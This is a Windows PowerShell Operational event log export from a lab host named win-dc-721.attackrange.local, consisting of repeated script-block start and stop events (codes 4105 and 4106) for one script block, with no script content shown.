User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468843
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468842
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468841
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468840
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468839
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468838
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468837
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468836
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468835
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468834
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468833
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468832
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468831
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468830
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468829
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468828
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468827
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468826
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468825
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468824
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468823
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468822
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468821
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468820
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468819
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468818
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468817
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468816
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468815
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468814
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468813
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468812
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468811
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468810
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468809
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468808
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468807
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468806
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468805
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468804
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468803
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468802
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468801
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468800
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468799
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468798
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468797
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468796
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468795
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468794
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468793
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468792
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468791
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468790
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468789
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468788
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
